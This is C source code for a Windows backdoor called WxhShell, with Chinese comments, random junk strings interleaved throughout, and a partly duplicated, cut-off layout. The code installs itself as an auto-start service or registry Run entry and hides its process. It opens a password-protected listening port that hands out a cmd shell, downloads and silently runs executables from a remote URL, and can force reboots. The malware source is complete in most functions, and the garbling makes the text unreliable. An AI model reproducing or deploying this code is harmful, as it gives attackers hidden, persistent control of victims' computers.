O Ct ]{Iy< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2{g~6U. if(NULL == hInst ) return 0; Hb IRE K6_{AuL}4 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %J7 ;b<}To g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fn$EP:> NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +.5 /4? T[L if (!NtQueryInformationProcess) return 0; HBeOK f0}+8JW5h hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #~ UG9@a if(!hProcess) return 0; p-r}zc9@ 'ym/@h7h if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r`VKb ,H\EPmNHK CloseHandle(hProcess); We_/:= |h@'~c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nO2-fW:9] if(hProcess==NULL) return 0; V6Z2!Ht -@e9!/GP, HMODULE hMod; AF>!: char procName[255]; 5q}680s9+ unsigned long cbNeeded; u:NSPAD) UVA|(: if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WTZP}p1 j;)U5X CloseHandle(hProcess); do C8! o"J}@nF if(strstr(procName,"services")) return 1; // 以服务启动 \XhzaM
%Gv8]Yb return 0; // 注册表启动 O\=3{ } 5L%A5C&| 2/x+7F}w5 // 主模块 ZFY t[: int StartWxhshell(LPSTR lpCmdLine) .{*V^[. { O#uTwnW SOCKET wsl; H~e;S#3_v BOOL val=TRUE; Y }aa6 int port=0; 3u3(BY{"\F struct sockaddr_in door; 0sLR5A c4k3|=f if(wscfg.ws_autoins) Install(); b<~\IPY f^Lw3|rq4 port=atoi(lpCmdLine); =i4 Ds nPD5/xW if(port<=0) port=wscfg.ws_port; rB~x]5TH ZC@sUj" WSADATA data; 2r^| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; swntz 5\A[ra if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {Ug?k<h7| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^duNEu0* door.sin_family = AF_INET;
%tT&/F door.sin_addr.s_addr = inet_addr("127.0.0.1"); H~^am door.sin_port = htons(port); m(L]R(t p'fU}B1 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
7aj|-gZ closesocket(wsl); %+ynrg- return 1; |X,T>{V?y } y'(l]F1] xv4_q-r[ if(listen(wsl,2) == INVALID_SOCKET) { rhGHR5
g closesocket(wsl); *tC]Z&5 return 1; :,X,!0pWRp } |W];8 Wxhshell(wsl); u[$ \
az7 WSACleanup(); +1zCb=;!{ !~u;CMR return 0; NpG5$? ],YIEOx6
} -K9bC3H p,.+i[V // 以NT服务方式启动 &`[y] E' VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) </3Shq { ]([:"j DWORD status = 0; 4mq+{c0 DWORD specificError = 0xfffffff; 2"*7HS K+5S7wFDZ serviceStatus.dwServiceType = SERVICE_WIN32; YKk?BQ" serviceStatus.dwCurrentState = SERVICE_START_PENDING; c
%w
h serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /ldE (!^n serviceStatus.dwWin32ExitCode = 0; dq}60 serviceStatus.dwServiceSpecificExitCode = 0; fOs"\Y4 serviceStatus.dwCheckPoint = 0; ?4GI19j serviceStatus.dwWaitHint = 0; "E =\Vz lS&$86Jo( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -]\cUQ0 if (hServiceStatusHandle==0) return; (\}>+qS[ ^|M\vO status = GetLastError(); TO7%TW{L if (status!=NO_ERROR) !*_5 B' { v<c~
'?YzO serviceStatus.dwCurrentState = SERVICE_STOPPED; Bt[OGa(q serviceStatus.dwCheckPoint = 0; ]:m>pI*z. serviceStatus.dwWaitHint = 0; d~1Nct$: serviceStatus.dwWin32ExitCode = status; pCS2sq8RC serviceStatus.dwServiceSpecificExitCode = specificError; 6m"_=.k% SetServiceStatus(hServiceStatusHandle, &serviceStatus); %T4htZa return; b1Bu5%bt,: } KLK
'_)|CT m_{OCHS+ serviceStatus.dwCurrentState = SERVICE_RUNNING; P{v>o,a. serviceStatus.dwCheckPoint = 0; ;`Eie2y{M serviceStatus.dwWaitHint = 0; + Bk"
khH if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |d\rCq > } l ps
6lnh {Hxvt~P // 处理NT服务事件,比如:启动、停止 O&YX V VOID WINAPI NTServiceHandler(DWORD fdwControl) HQlhT { 9t:P1 switch(fdwControl) a=}JW] { 3#o!K case SERVICE_CONTROL_STOP: G?e"A0, serviceStatus.dwWin32ExitCode = 0; p_T>"v serviceStatus.dwCurrentState = SERVICE_STOPPED; '#K:e serviceStatus.dwCheckPoint = 0; o%_MTCANy serviceStatus.dwWaitHint = 0; 9|#YKO\\i { :a3 +f5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); `\LhEnIwu } <;}jf*A return; a'=C/ s+ case SERVICE_CONTROL_PAUSE: ^{\gD23 serviceStatus.dwCurrentState = SERVICE_PAUSED; 7DaMuh~< break; v3SH+Ej4 case SERVICE_CONTROL_CONTINUE: #hvLv serviceStatus.dwCurrentState = SERVICE_RUNNING; D5x }V break; 0T-y]&uo case SERVICE_CONTROL_INTERROGATE: mGR}hsQpn break; }`M53>C,gQ }; kNqSBzg SetServiceStatus(hServiceStatusHandle, &serviceStatus); {?tK]g# } )f(.{M wG6@.;3 // 标准应用程序主函数 3";Rw9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $@k[Xh { 8;2UP`8s ? am;)@<8~Q // 获取操作系统版本 YYfX@`\
OsIsNt=GetOsVer(); S0?4}7`A GetModuleFileName(NULL,ExeFile,MAX_PATH); J-C3k`%O \7M+0Ul1 // 从命令行安装 #LRN@?P if(strpbrk(lpCmdLine,"iI")) Install(); q2v:lSFY |Y#KMi ~ // 下载执行文件 :.KN;+tP if(wscfg.ws_downexe) { 0?kaXD if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F&?55@b WinExec(wscfg.ws_filenam,SW_HIDE); `tZu~
n } hm#S4/=# #Hm*<s. if(!OsIsNt) { xszGao' // 如果时win9x,隐藏进程并且设置为注册表启动 *xm(K+j HideProc(); *=UxX ]0y StartWxhshell(lpCmdLine); Pp-\#WJ } ie4keVlXc else 0].x8{~o if(StartFromService()) (bEX"U- // 以服务方式启动 1n}q6oa= StartServiceCtrlDispatcher(DispatchTable); c 32IO&W4 else .Cv0Ze // 普通方式启动 S;a'@5 StartWxhshell(lpCmdLine); %JmRJpCvR _ 4:@+{ return 0; QP/6N9/ } [^wEKRt& fBCW/<Z E({+2}=1 u6&<Bv =========================================== r(sQI#
P "-aak )7w jwsl"zL w`Q"m x* 0Y rdu,c RiHOX&-7 " 4dy2m! a^yBtb~,P #include <stdio.h> lZT9 SDtS #include <string.h> h{zE;!+)D #include <windows.h> /Mk85C79 #include <winsock2.h> J6x#c`Y #include <winsvc.h> yn&AMq
]o #include <urlmon.h> Z4YQ5O5 >~O36q^w #pragma comment (lib, "Ws2_32.lib") hw[ jVx #pragma comment (lib, "urlmon.lib") +$]eA'Bh@ Nda,G++5( #define MAX_USER 100 // 最大客户端连接数 $@m)8T #define BUF_SOCK 200 // sock buffer ;8WgbR)ZLU #define KEY_BUFF 255 // 输入 buffer qyXx`'e 7U=|>)Q0s #define REBOOT 0 // 重启 G9?6qb: #define SHUTDOWN 1 // 关机 ^X2U
A{ u{%gB&nC #define DEF_PORT 5000 // 监听端口 Fv!zS.)` /8!s
C D #define REG_LEN 16 // 注册表键长度 5#jna9Xc #define SVC_LEN 80 // NT服务名长度 HN'r
ZAZ( =)Z!qjf1U // 从dll定义API +uR|0Jo8X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p^^Ai typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B<.XowT' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /4 zO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j.C)KwelBS @V$,H/v: // wxhshell配置信息 e&&;"^@- struct WSCFG { .ZSG nbJ int ws_port; // 监听端口 GKPC 9;{W char ws_passstr[REG_LEN]; // 口令 qGndh int ws_autoins; // 安装标记, 1=yes 0=no g8+w?Zn} char ws_regname[REG_LEN]; // 注册表键名 ]TTX<R
ZLr char ws_svcname[REG_LEN]; // 服务名 0,)Ao8 char ws_svcdisp[SVC_LEN]; // 服务显示名 _ED,DM char ws_svcdesc[SVC_LEN]; // 服务描述信息 ** \B P,]} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i!zh9,i>M int ws_downexe; // 下载执行标记, 1=yes 0=no HnvE\t9` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1_JxDT,=> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wg6![Uh Lo,z7"8 }; hK=\O) ESOuDD2< // default Wxhshell configuration r,p6J7/lfS struct WSCFG wscfg={DEF_PORT, nquKeH "xuhuanlingzhe", *SkUkqP9z 1, gv=mz,z "Wxhshell", '&L ;y "Wxhshell", x'Z< "WxhShell Service", bXcDsP$. "Wrsky Windows CmdShell Service", bS
'a ) "Please Input Your Password: ", ]h (TZu 1, u7|{~D&f "http://www.wrsky.com/wxhshell.exe", e2#"o{+@ "Wxhshell.exe" wv,,#P }; (]'Q!MjGa ]+\@_1<ZI // 消息定义模块 Kb0OauW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sg12C char *msg_ws_prompt="\n\r? for help\n\r#>"; bAeN>~WvY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SsjO1F char *msg_ws_ext="\n\rExit."; qF6YH char *msg_ws_end="\n\rQuit."; D={|&:`L e char *msg_ws_boot="\n\rReboot..."; bo&!oY# char *msg_ws_poff="\n\rShutdown..."; owe362q char *msg_ws_down="\n\rSave to "; jIMaPT +MC>?rr_u char *msg_ws_err="\n\rErr!"; K5(?6hr; char *msg_ws_ok="\n\rOK!"; e,Xvt5
/U<-N'| char ExeFile[MAX_PATH]; 7Z>u|L($m int nUser = 0; GCrh4rxgg HANDLE handles[MAX_USER]; |0(Z)s, int OsIsNt; b:7;zOtF i;^
e6A> SERVICE_STATUS serviceStatus; LBtVK, ? SERVICE_STATUS_HANDLE hServiceStatusHandle; daBu<0\ Kzxzz6R? // 函数声明 / /qTMxn int Install(void); Vn1k C int Uninstall(void); j' -akXo< int DownloadFile(char *sURL, SOCKET wsh); c=H(*# int Boot(int flag); VL"ZC:n)- void HideProc(void); tklU
zv int GetOsVer(void); D8_m_M|P int Wxhshell(SOCKET wsl); xMtl<Na
void TalkWithClient(void *cs); ?n/:1LN, int CmdShell(SOCKET sock); h 88iZK int StartFromService(void); f(DGC2R
< int StartWxhshell(LPSTR lpCmdLine); A<iF37. e =&
abu VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ld94ek VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7"= ,oDZ:";
// 数据结构和表定义 D`e!CprF SERVICE_TABLE_ENTRY DispatchTable[] = [8Ub#<]] { uf`o\wqU {wscfg.ws_svcname, NTServiceMain}, ~/[cZY@ {NULL, NULL} po"M$4`9 }; >0+m RrLQM!~ // 自我安装 5<4njo?k int Install(void) {#q<0l { .D^k0V char svExeFile[MAX_PATH]; 2U>1-p&dn HKEY key; iUA2/ A strcpy(svExeFile,ExeFile); >;o^qi_$ *P:`{ZV7=W // 如果是win9x系统,修改注册表设为自启动 $ sEe0 if(!OsIsNt) { .)})8csl.d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j]J2,J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qfppJ8L RegCloseKey(key); s;}';# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `(=)8>|e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )rhKWg RegCloseKey(key); A3&8@/6, return 0; G#duZNBdc } 60~{sk~E } *~ 4uF } F.?:Gd1 else { x:;8U i"&B UOF5&>MLb // 如果是NT以上系统,安装为系统服务 S~YrXQ{_>- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2b1LC!'U if (schSCManager!=0) ..<(HH2 { l/LRr.x SC_HANDLE schService = CreateService ezwcOYMXK ( :@_CQc*yB schSCManager, 3`#sXt9C wscfg.ws_svcname, nUmA wscfg.ws_svcdisp, ErB6fl SERVICE_ALL_ACCESS, {>QrI4*A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H)
q9.Jg SERVICE_AUTO_START, ZH_ J+ SERVICE_ERROR_NORMAL, ]lQhIf6)k svExeFile, '4HwS$mW3 NULL, U@D=.6\B NULL, }'kk}2ej` NULL, ICq;jf ML NULL, PKdM-R'Z NULL :BMU c-[ ); wi*Ke2YKP if (schService!=0) Jd1eOeS { D6bCC;
h= CloseServiceHandle(schService); 'ycs{}' CloseServiceHandle(schSCManager); `{F8# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z(1h ^.
strcat(svExeFile,wscfg.ws_svcname); CNbrXN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J;m[1Mae& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6xnJyEQUM RegCloseKey(key); M P0ww$( return 0; K+T`'J4 } ixiRFBUcF~ } 2)[81a CloseServiceHandle(schSCManager); w'M0Rd] } aH"tSgi } 0%FC;v0 ?\$77k return 1; {!^HG+ } U@f3V8CPy .RJvu$U2j // 自我卸载 zRvYN int Uninstall(void) =*Wl;PI' { XZp(Po:H HKEY key; q#sMew\{ UfcM2OmbK if(!OsIsNt) { 6EX:qp^` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BAoqO
Xv RegDeleteValue(key,wscfg.ws_regname); ?H*_:?=6 RegCloseKey(key); z_JZx]*/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8qS)j1.! RegDeleteValue(key,wscfg.ws_regname); 1%EY!14G+ RegCloseKey(key); ?_<ZCH return 0; :Oq!.uO } B TcxBh } ~&B_ Bswf } zKfb else { rQisk8% '|Q=J) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dUjdQ if (schSCManager!=0) Zpu>T2Tp { ml?+JbLg0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V7rcnk# if (schService!=0) @gxO%@@ { V3@^bc! if(DeleteService(schService)!=0) { i>)Whr'e8 CloseServiceHandle(schService); D\*raQ`n CloseServiceHandle(schSCManager); c$uV8_ V return 0; %K ]u" } <YJU?G:@ CloseServiceHandle(schService); IHxX:a/iv } 9SAyU%mS: CloseServiceHandle(schSCManager); Pq7YJ"Z?: } LgUaX } !\|&E>Gy |":^3 return 1; Fzu"&&>0$ } [gv2fqpP n4Q!lJ // 从指定url下载文件 uY
"88| int DownloadFile(char *sURL, SOCKET wsh) .6vQWt7@ { PFEi=}Y@(( HRESULT hr; b GwLfU char seps[]= "/"; d54>nycU~N char *token; p(0!TCBs char *file; 3QV|@5L`[ char myURL[MAX_PATH]; .' .|s?s char myFILE[MAX_PATH]; sF|<m)Kt{W zhN'@Wj'_ strcpy(myURL,sURL); Iupk+x> token=strtok(myURL,seps); b;x^>(It while(token!=NULL) bd)A6a\h { sBRw#xyS file=token; u1]5qtg" token=strtok(NULL,seps); ^vG*8,^S=8 } [ HNGTde& |L`w4; GetCurrentDirectory(MAX_PATH,myFILE); BT#'<!7! strcat(myFILE, "\\"); xTAC&OCk^[ strcat(myFILE, file); y'4= send(wsh,myFILE,strlen(myFILE),0); ! *pK# send(wsh,"...",3,0); [IV8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ns1u0$fg if(hr==S_OK) \f{C2d/6j return 0; W*U\79H else AeUwih.
4 return 1; FirmzB Il5 &+*jTE } '>`bp25> pazFVzT // 系统电源模块 y!aq}YS int Boot(int flag) Ah)7A|0rT { WfO6Fvx% HANDLE hToken; IOIGLtB
TOKEN_PRIVILEGES tkp; ;TaT=% H%])>
if(OsIsNt) { O'idS`
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YtIJJH LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %
;6e@U} tkp.PrivilegeCount = 1; urog.Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qvYw[D#. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !T
@|9PCp if(flag==REBOOT) { Z,u:g c+* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M>T#MDK\( return 0; Gm>8=
=c } %W`pTvF else { x%x[5.CT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,"}'NH@ return 0; `^w5/v# } LClPAbr } ?}lCS7& else { ]qv/+~Qs> if(flag==REBOOT) { ?,s{M^sj^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &OuyjW4 return 0; uMqo)J@s } YQYN.\ else { BHFWig*{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~yO.R)4v return 0; V?5_J% } \=83#*KK } =2`s Uw} 0 ]NsT0M return 1; UGR5ILf } b/S4b ]p#Zdm1EL // win9x进程隐藏模块 KN+*_L- void HideProc(void) nTYqZlI, { }-8K*A3 e1+
%c9UQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q:nYUW o if ( hKernel != NULL ) ]vu'+F$ { Lw!@[;2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1>|p1YZ" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,P9B8oIq FreeLibrary(hKernel); !})+WSs'"s } GH:Au dd$\Q return; [ ra[~ } x{ZcF=4 |t.WPp5, // 获取操作系统版本 (>)Y0ki} int GetOsVer(void) f Z \Ev%F { |/r@z[t OSVERSIONINFO winfo; #UGbSOoCtn winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cJH7zumM) GetVersionEx(&winfo); (cA=~Bw[= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w@oq.K return 1; VDQ&BmJE else LU%g>?m.] return 0; `D GO~RMp9 } !TG"AW 1uD}V7_y" // 客户端句柄模块 l kl#AH int Wxhshell(SOCKET wsl) 1lx\Pz@ol { _
k>j?j- SOCKET wsh; iAXx`>}m struct sockaddr_in client; DpTQP u9 DWORD myID; T mUn/ -98bX]8 while(nUser<MAX_USER) Y3-15:- { dn5T7a~
int nSize=sizeof(client); 9Uk9TG 5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V#sANi?mpo if(wsh==INVALID_SOCKET) return 1; +/UInAM Ya,>E@oc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \W$>EH if(handles[nUser]==0) %7L'2/Y2x closesocket(wsh); ~}TVM%0RTq else 57r\s8 nUser++; xi|iV1A } 1M<'^(t3d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i44KTC"sB 9$Hgh7'hvs return 0; `Y+p7*Qr2 } Lqz}h-Ei 6%:'2;xM // 关闭 socket c.d*DM}W void CloseIt(SOCKET wsh) 7Qq>?H - { J)o~FC]b* closesocket(wsh); uRUysLIw nUser--; Q OdvzVy< ExitThread(0); $R"~BZbt; } rKR<R(=!= 2M|jWy _ // 客户端请求句柄 r)*KgGsk void TalkWithClient(void *cs) 9fe~Q%x=u { 2"%d!" B\N,%vsx#U SOCKET wsh=(SOCKET)cs; \7Zk[)!FL char pwd[SVC_LEN]; WRD^S:`BH char cmd[KEY_BUFF]; ;1F3.ibE char chr[1]; Ba@UX(t int i,j; z+wBZn{0I (+T|B E3*# while (nUser < MAX_USER) { b%pLjvU EP{y?+E2 if(wscfg.ws_passstr) { 0R*!o\y if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (\SxG\` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <4Ujk8Zj //ZeroMemory(pwd,KEY_BUFF); |ukEnjI`u i=0; )8P<ZtEU
while(i<SVC_LEN) { Ee4oTU5Mb od-N7lp# // 设置超时 ~sk 4v:- fd_set FdRead; aIJ[K struct timeval TimeOut; a*??! FD_ZERO(&FdRead); LoNz
1KJL FD_SET(wsh,&FdRead); A"w
1GBx TimeOut.tv_sec=8; %Wu3$b TimeOut.tv_usec=0; ~2=B:; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IWKQU/l! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9I.="b=J) {OB\~$TH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6B|IbQ^ pwd=chr[0]; t0hg!_$bq if(chr[0]==0xd || chr[0]==0xa) { "y5c)l(Rg pwd=0; MbjH\XRB break; x+^iEj`gk } /S P^fB*y i++; B;_M52-B } .K:>`~<) G$`/86A ) // 如果是非法用户,关闭 socket 4.R
>mN[ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &~uzu{ } N<O^%!bu R *Q5/d9B8TN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wYNh0QlBH send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ].`i`.T N"FQMxqm while(1) { &K|CH?
D Qs</.PO ZeroMemory(cmd,KEY_BUFF); opdi5e)jK kjjO<x?&* // 自动支持客户端 telnet标准 IDwneFO j=0; DTgF,c while(j<KEY_BUFF) { rN_\tulOF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C#vU'RNpl cmd[j]=chr[0]; 3kQky if(chr[0]==0xa || chr[0]==0xd) { q[**i[+% cmd[j]=0; Z>M0[DJ_ break; 8CwgV } \>M3E j++; -pyTzC$HO } ~?S/0]?c i!sKL%z} // 下载文件 h<.&,6R if(strstr(cmd,"http://")) { M%yT?R+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); :C>slxY if(DownloadFile(cmd,wsh)) D0tI send(wsh,msg_ws_err,strlen(msg_ws_err),0); y\V!OY@ else =][[TH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f~8Xue,l" } } n_9d. else { 7$}lkL $)z(4Ev switch(cmd[0]) { K^?/ W
4~a`D7 // 帮助 n:Ka@ case '?': { 29
')Y|$, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .k Gg} break; <.+hV4,3 } lc#su$xR> // 安装 pz#oRuujY case 'i': { CGny#Vh if(Install()) 'I\bz;VT send(wsh,msg_ws_err,strlen(msg_ws_err),0); '+5*ajP< else d5UdRX]* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9xN4\y6F break; FdzsWm } G-9]z[\# // 卸载 l<! ?`V6} case 'r': { 7WKb|
/#; if(Uninstall()) _}{C?611c send(wsh,msg_ws_err,strlen(msg_ws_err),0); .$L'Jt2X else p.gi8%f` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i|y8n7c break; rp+&ax}Wh } 68W&qzw.[r // 显示 wxhshell 所在路径 ##EMJi case 'p': { [f&ja[m q char svExeFile[MAX_PATH]; ~UEft strcpy(svExeFile,"\n\r"); LoqS45-) strcat(svExeFile,ExeFile); xW!2[.O5H send(wsh,svExeFile,strlen(svExeFile),0); UuzT*Y> break; Ae;>
@k/|= } m fg{% .1 // 重启 o.*8$$ case 'b': { '%l<33* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i4JqU\((] if(Boot(REBOOT)) <TC\Nb$~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); {D 9m//x else { /*B-y$WQk closesocket(wsh); U#G0 ExitThread(0); )Gh"(]-< } :l'61$= break; }L'BzSU@G } Z9E[RD // 关机 ~bf-uHx case 'd': { =hjff/
X send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )C|[j@MD if(Boot(SHUTDOWN)) Fr`"XH send(wsh,msg_ws_err,strlen(msg_ws_err),0); PsjSL8] else { ,W'`rCxJ closesocket(wsh); !c4pFQ B ExitThread(0); "6[fqW65 } DW\';" break; ~Uz,%zU#3 } B>AmH%f/ // 获取shell [D=ba=r0X case 's': { EuOrwmdj CmdShell(wsh); xRuAt/aC closesocket(wsh); iOYC1QFi? ExitThread(0); mG*[5?=r break; F\^9=}b_i } ifHQ2Ug9 // 退出 V\5ZRLawP case 'x': { k2(B{x}L send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U(4>e! CloseIt(wsh); [AstD9 break; =aX;- } z/dpnGX // 离开 (P%{Tab case 'q': { lyc
]E
9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); [K1RP. closesocket(wsh); Oi+9kk
e WSACleanup(); dUegHBw_`R exit(1); $ @QF<?i~ break; Ha>Hb` } Ka%u#}; } KzZ|{!C } HC_+7 O3A "#Qqwsw7 // 提示信息 Ro\ U T64 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lq:
!?)I } $Y&
8@/L } plcz m 2 { }Q!./5 return; (v+nn1, } tbG^9d k]K][[s` // shell模块句柄 %Bn"/0, int CmdShell(SOCKET sock) (1Q G]1q { =BW;n]ls STARTUPINFO si; r{R879 ZeroMemory(&si,sizeof(si)); O~D>F*_^j si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L?:.8k`d si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4BF
\-lq~ PROCESS_INFORMATION ProcessInfo; *|n-Hr char cmdline[]="cmd"; }rK9M$2]u CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y<0}z>^ return 0; jNV)=s^ed[ } X0G6Wp t*J*?Ma // 自身启动模式 ($s%5| int StartFromService(void) mcO/V-\5' { .Y`;{) typedef struct nD#QC=} { \MhSIlM# DWORD ExitStatus; 55LW[Pc DWORD PebBaseAddress; % \N52 DWORD AffinityMask; *DBm"{q%&k DWORD BasePriority; tE=;V) %we ULONG UniqueProcessId; R(.5Hs ULONG InheritedFromUniqueProcessId; :xwyE(w } PROCESS_BASIC_INFORMATION; }KFf U0X,g(2' PROCNTQSIP NtQueryInformationProcess; +hiskV@ v 4gKu8G static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *m$lAWB5D static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B=!&rKF +q<G%PwbV HANDLE hProcess; ^qR2 !fwm< PROCESS_BASIC_INFORMATION pbi; , yd]R4M kfc5ra>& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'aV/\a:* if(NULL == hInst ) return 0; }X|*+< )/87<Y;o g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
}.DE521u g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fi!BXngbd NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pHNo1-k\ ]wxjd
l if (!NtQueryInformationProcess) return 0; <y`MUpf] HP,sNiw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1U?,}w if(!hProcess) return 0; S&JsDPzSd \img
